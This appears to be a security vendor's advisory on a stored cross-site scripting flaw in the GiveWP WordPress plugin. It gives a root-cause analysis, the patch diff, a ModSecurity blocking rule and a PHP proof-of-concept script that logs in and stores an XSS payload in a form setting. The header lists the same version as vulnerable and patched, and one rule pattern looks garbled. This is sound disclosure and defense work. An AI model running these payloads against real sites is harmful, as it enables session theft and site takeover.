Published : August 7, 2026

CVE-2026-14318: GiveWP – Donation Plugin and Fundraising Platform < 4.16.3 Authenticated (Custom role+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin give
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.16.3
Patched Version 4.16.3
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14318: GiveWP – Donation Plugin and Fundraising Platform versions up to 4.16.3 contain a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists due to insufficient input sanitization and output escaping in several template and rendering functions. Authenticated attackers with custom role-level access can inject arbitrary web scripts that execute when an administrator or other user visits the affected page. The vulnerability carries a CVSS score of 6.4 (Medium), indicating a significant risk to the integrity of the WordPress site and the security of its administrators.

Root Cause: The root cause is the use of unsanitized and unescaped output in several frontend rendering paths within the plugin. Specifically, the `variables.php` file in the Classic template directly echoes the `$statsProgressBarColor` variable without sanitization or escaping. Similarly, the `progress-bar.php` file in the Sequoia template and `templates/shortcode-goal.php` directly echo the `$style` variable into a `style` attribute. The `CheckoutModal.php` trait and the `Actions.php` file for the Sequoia template directly insert `$display_label` and `$label` respectively into the `value` attribute of an “ tag. These variables are derived from user-supplied data, such as form settings or custom labels, and when not escaped, they allow the injection of HTML attributes that can be leveraged for XSS attacks.

Exploitation: An authenticated attacker with a custom role that has access to donation form management settings can exploit this vulnerability. The attacker modifies a donation form’s goal color, progress bar style, or the submit button label to include a malicious payload. For instance, the attacker could set the goal color to `red”>alert(document.cookie)<span style="`. When the form is rendered to any user, the `sanitize_hex_color` and `esc_attr` functions are not applied in vulnerable versions, so the injected script executes. The attack vector is the WordPress admin panel, where the attacker modifies the settings, and the payload triggers on the public-facing donation form or via the `give_goal` shortcode.

Patch Analysis: The patch (version 4.16.3) introduces output escaping functions to all affected rendering locations. The `variables.php` file now uses `sanitize_hex_color()` to validate the color value. The `progress-bar.php` and `shortcode-goal.php` files now wrap the `$style` variable with `esc_attr()`. The `CheckoutModal.php` and `Actions.php` files now use `esc_attr()` on the label variables. This prevents the injection of additional HTML attributes or malicious strings by encoding special characters. The patch also removes the use of `$_POST` data for gateway settings in `functions.php`, which reduces the risk of user-controlled data being used directly in settings, and adds a check to hide anonymous donors from REST API subscriptions.

Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into the context of a logged-in administrator's session. Upon visiting the compromised page, the malicious script can steal session cookies, modify site content, add new administrator users, or perform other administrative actions. This can lead to complete site compromise, data theft, and malware distribution. The vulnerability's medium severity reflects the requirement for an authenticated user with custom role-level access, but the impact on affected organizations can be critical.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/give/give.php
+++ b/give/give.php
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.16.2
+ * Version: 4.16.3
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -426,7 +426,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.16.2');
+            define('GIVE_VERSION', '4.16.3');
         }

         // Plugin Root File.
--- a/give/includes/gateways/functions.php
+++ b/give/includes/gateways/functions.php
@@ -78,13 +78,11 @@

     $enabled = [];
     if (!$version || $version === 2) {
-        $gatewaysFromPostRequest = isset($_POST['gateways']) ? (array)$_POST['gateways'] : null;
-        $enabled = array_merge($enabled, $gatewaysFromPostRequest ?? (array)give_get_option('gateways', []));
+        $enabled = array_merge($enabled, (array)give_get_option('gateways', []));
     }

     if (!$version || $version === 3) {
-        $gatewaysFromPostRequest = isset($_POST['gateways_v3']) ? (array)$_POST['gateways_v3'] : null;
-        $enabled = array_merge($enabled, $gatewaysFromPostRequest ?? (array)give_get_option('gateways_v3', []));
+        $enabled = array_merge($enabled, (array)give_get_option('gateways_v3', []));
     }

 	$gateway_list = [];
@@ -370,19 +368,11 @@
 	// Get gateways setting.
     $gateways_setting = [];
     if (!$version || $version === 2) {
-        $gatewaysFromPostRequest = isset($_POST['gateways']) ? (array)$_POST['gateways'] : null;
-        $gateways_setting = array_merge(
-            $gateways_setting,
-            $gatewaysFromPostRequest ?? (array)give_get_option('gateways', [])
-        );
+        $gateways_setting = array_merge($gateways_setting, (array)give_get_option('gateways', []));
     }

     if (!$version || $version === 3) {
-        $gatewaysFromPostRequest = isset($_POST['gateways_v3']) ? (array)$_POST['gateways_v3'] : null;
-        $gateways_setting = array_merge(
-            $gateways_setting,
-            $gatewaysFromPostRequest ?? (array)give_get_option('gateways_v3', [])
-        );
+        $gateways_setting = array_merge($gateways_setting, (array)give_get_option('gateways_v3', []));
     }

 	// Return from here if we do not have gateways setting.
--- a/give/src/API/REST/V3/Routes/Subscriptions/SubscriptionController.php
+++ b/give/src/API/REST/V3/Routes/Subscriptions/SubscriptionController.php
@@ -236,6 +236,7 @@
     /**
      * Get a subscription.
      *
+     * @since 4.16.3 Return 404 for anonymous donors unless explicitly included.
      * @since 4.8.0
      *
      * @param WP_REST_Request $request Full data about the request.
@@ -247,13 +248,17 @@
     public function get_item($request)
     {
         $subscription = Subscription::find($request->get_param('id'));
+        $donorAnonymousMode = new DonorAnonymousMode($request->get_param('anonymousDonors'));

-        if (!$subscription) {
+        // Hide anonymous donors unless explicitly included, matching the collection and donor endpoints.
+        if (
+            !$subscription
+            || ($subscription->donor && $subscription->donor->isAnonymous() && $donorAnonymousMode->isExcluded())
+        ) {
             return new WP_Error('subscription_not_found', __('Subscription not found', 'give'), ['status' => 404]);
         }

         $includeSensitiveData = $request->get_param('includeSensitiveData');
-        $donorAnonymousMode = new DonorAnonymousMode($request->get_param('anonymousDonors'));

         $item = (new SubscriptionViewModel($subscription))
             ->anonymousMode($donorAnonymousMode)
--- a/give/src/PaymentGateways/Gateways/Stripe/Traits/CheckoutModal.php
+++ b/give/src/PaymentGateways/Gateways/Stripe/Traits/CheckoutModal.php
@@ -14,6 +14,7 @@
      * @param int   $formId Donation Form ID.
      * @param array $args   Donation Form Arguments.
      *
+     * @since 4.16.3 Escaped the submit button label in the Stripe checkout modal.
      * @since 2.19.0 Migrated from the legacy Give_Stripe_Checkout::showCheckoutModal implementation of the Stripe Checkout Gateway.
      *
      * @return string
@@ -129,7 +130,7 @@
                                 '<input type="submit" class="%1$s" id="%2$s" value="%3$s" data-before-validation-label="%3$s" name="%4$s" data-is_legacy_form="%5$s" disabled/>',
                                 FormUtils::isLegacyForm() ? 'give-btn give-stripe-checkout-modal-donate-button' : 'give-btn give-stripe-checkout-modal-sequoia-donate-button',
                                 "give-stripe-checkout-modal-donate-button-{$idPrefix}",
-                                $display_label,
+                                esc_attr($display_label),
                                 'give_stripe_modal_donate',
                                 FormUtils::isLegacyForm()
                             );
--- a/give/src/Views/Form/Templates/Classic/resources/css/variables.php
+++ b/give/src/Views/Form/Templates/Classic/resources/css/variables.php
@@ -4,6 +4,6 @@
     <?php if (!empty($headerBackgroundColor)) : ?>
     --give-header-background-color--for-rgb: <?= hexdec(substr($headerBackgroundColor, 1, 2)) ?>, <?= hexdec(substr($headerBackgroundColor, 3, 2)) ?>, <?= hexdec(substr($headerBackgroundColor, 5, 2)) ?>;
     <?php endif; ?>
-    --give-header-stats-progressbar-color: <?= $statsProgressBarColor ?>;
+    --give-header-stats-progressbar-color: <?= sanitize_hex_color($statsProgressBarColor) ?? '' ?>;
     --give-primary-font: '<?= $primaryFont; ?>';
 }
--- a/give/src/Views/Form/Templates/Sequoia/Actions.php
+++ b/give/src/Views/Form/Templates/Sequoia/Actions.php
@@ -223,6 +223,7 @@
     /**
      * Add checkout button
      *
+     * @since 4.16.3 Escaped the checkout button label in the Sequoia template.
      * @since 2.7.0
      */
     public function getCheckoutButton()
@@ -237,7 +238,7 @@
 		    <input type="submit" class="give-submit give-btn" id="give-purchase-button" name="give-purchase" value="%1$s" data-before-validation-label="Donate Now">
 				<span class="give-loading-animation"></span>
 		  </div>',
-            $label
+            esc_attr($label)
         );
     }

--- a/give/src/Views/Form/Templates/Sequoia/sections/progress-bar.php
+++ b/give/src/Views/Form/Templates/Sequoia/sections/progress-bar.php
@@ -1,6 +1,8 @@
 <?php

 /**
+ * @since 4.16.3 Escaped the goal color when rendering the progress bar.
+ *
  * @var int $formId
  */
 if ($form->has_goal()) : ?>
@@ -16,8 +18,7 @@
     <div class="progress-bar">
         <div class="give-progress-bar" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="<?php
         echo $goalStats['progress']; ?>">
-            <span style="<?php
-            echo $style; ?>"></span>
+            <span style="<?php echo esc_attr($style); ?>"></span>
         </div><!-- /.give-progress-bar -->
     </div>
 <?php
--- a/give/templates/shortcode-goal.php
+++ b/give/templates/shortcode-goal.php
@@ -5,6 +5,8 @@

 /**
  * This template is used to display the goal with [give_goal]
+ *
+ * @since 4.16.3 Escaped the goal color when rendering the progress bar.
  */

 /**
@@ -257,7 +259,7 @@
         ?>
         <div class="progress-bar">
             <div class="give-progress-bar" role="progressbar" aria-valuemin="0" aria-valuemax="100" aria-valuenow="<?php echo esc_attr( $progress_bar_value ); ?>">
-                <span style="<?php echo $style; ?>"></span>
+                <span style="<?php echo esc_attr( $style ); ?>"></span>
             </div>
         </div>
     <?php endif; ?>
--- a/give/vendor/composer/installed.php
+++ b/give/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.16.2',
-        'version' => '4.16.2.0',
-        'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',
+        'pretty_version' => '4.16.3',
+        'version' => '4.16.3.0',
+        'reference' => '9366b333f78080457a9cbc1065b84535ca83e2d1',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.16.2',
-            'version' => '4.16.2.0',
-            'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66',
+            'pretty_version' => '4.16.3',
+            'version' => '4.16.3.0',
+            'reference' => '9366b333f78080457a9cbc1065b84535ca83e2d1',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14318
# This rule targets the specific vulnerable parameter 'stats_progress_bar_color' on the GiveWP form settings update endpoint.
# It blocks malicious XSS payloads attempting to be stored via this parameter.

SecRule REQUEST_URI "@rx ^/wp-admin/admin.php$" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-14318 GiveWP Stored XSS via stats_progress_bar_color',severity:'CRITICAL',tag:'CVE-2026-14318'"
  SecRule ARGS_GET:page "@streq give-donation-forms" "chain"
    SecRule ARGS:stats_progress_bar_color "@rx (?:<|>|onload|onerror|onfocus|script|alert)" "t:lowercase,chain"
      SecRule ARGS:stats_progress_bar_color "@rx s+on|</|><" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14318 - GiveWP – Donation Plugin and Fundraising Platform < 4.16.3 - Authenticated (Custom role+) Stored Cross-Site Scripting

// This PoC demonstrates how an authenticated user with custom role-level access can inject a stored XSS payload via the GiveWP plugin's progress bar color setting.

$target_url = 'http://target-site.com'; // Change to the target WordPress site URL
$username = 'attacker';                 // Username with 'custom role' or higher
$password = 'password';                 // Password for the user

// Step 1: Login to WordPress admin and get session cookies
$login_endpoint = $target_url . '/wp-login.php';
$ch = curl_init($login_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/givewp_cookies.txt');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
]));
curl_exec($ch);
curl_close($ch);

// Step 2: Fetch the donation form settings page to get the nonce
$form_id = 1; // The ID of the target donation form
$settings_url = $target_url . '/wp-admin/admin.php?page=give-donation-forms&view=give-forms&id=' . $form_id;
$ch = curl_init($settings_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/givewp_cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from the page (simplified)
preg_match('/give_forms_nonce" value="([^"]+)/', $response, $matches);
if (empty($matches[1])) {
    die('Could not extract nonce. Update the regex or check the form ID.');
}
$nonce = $matches[1];

// Step 3: POST the malicious progress bar color setting
$update_url = $target_url . '/wp-admin/admin.php?page=give-donation-forms';

// The XSS payload. This will be stored and executed when the form is rendered.
$payload = 'red" onfocus="alert(1)" autofocus="" x=';

$ch = curl_init($update_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/givewp_cookies.txt');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'give_forms_nonce' => $nonce,
    'give-form-save' => '1',
    'give-form-title' => 'Test Form',
    'give_settings[stats_progress_bar_color]' => $payload,
    // Add other required settings as needed
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Verify the XSS is stored by fetching the donation form public page
echo "[+] Stored XSS payload. Visiting the donation form will trigger the script.n";

// Clean up
unlink('/tmp/givewp_cookies.txt');

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.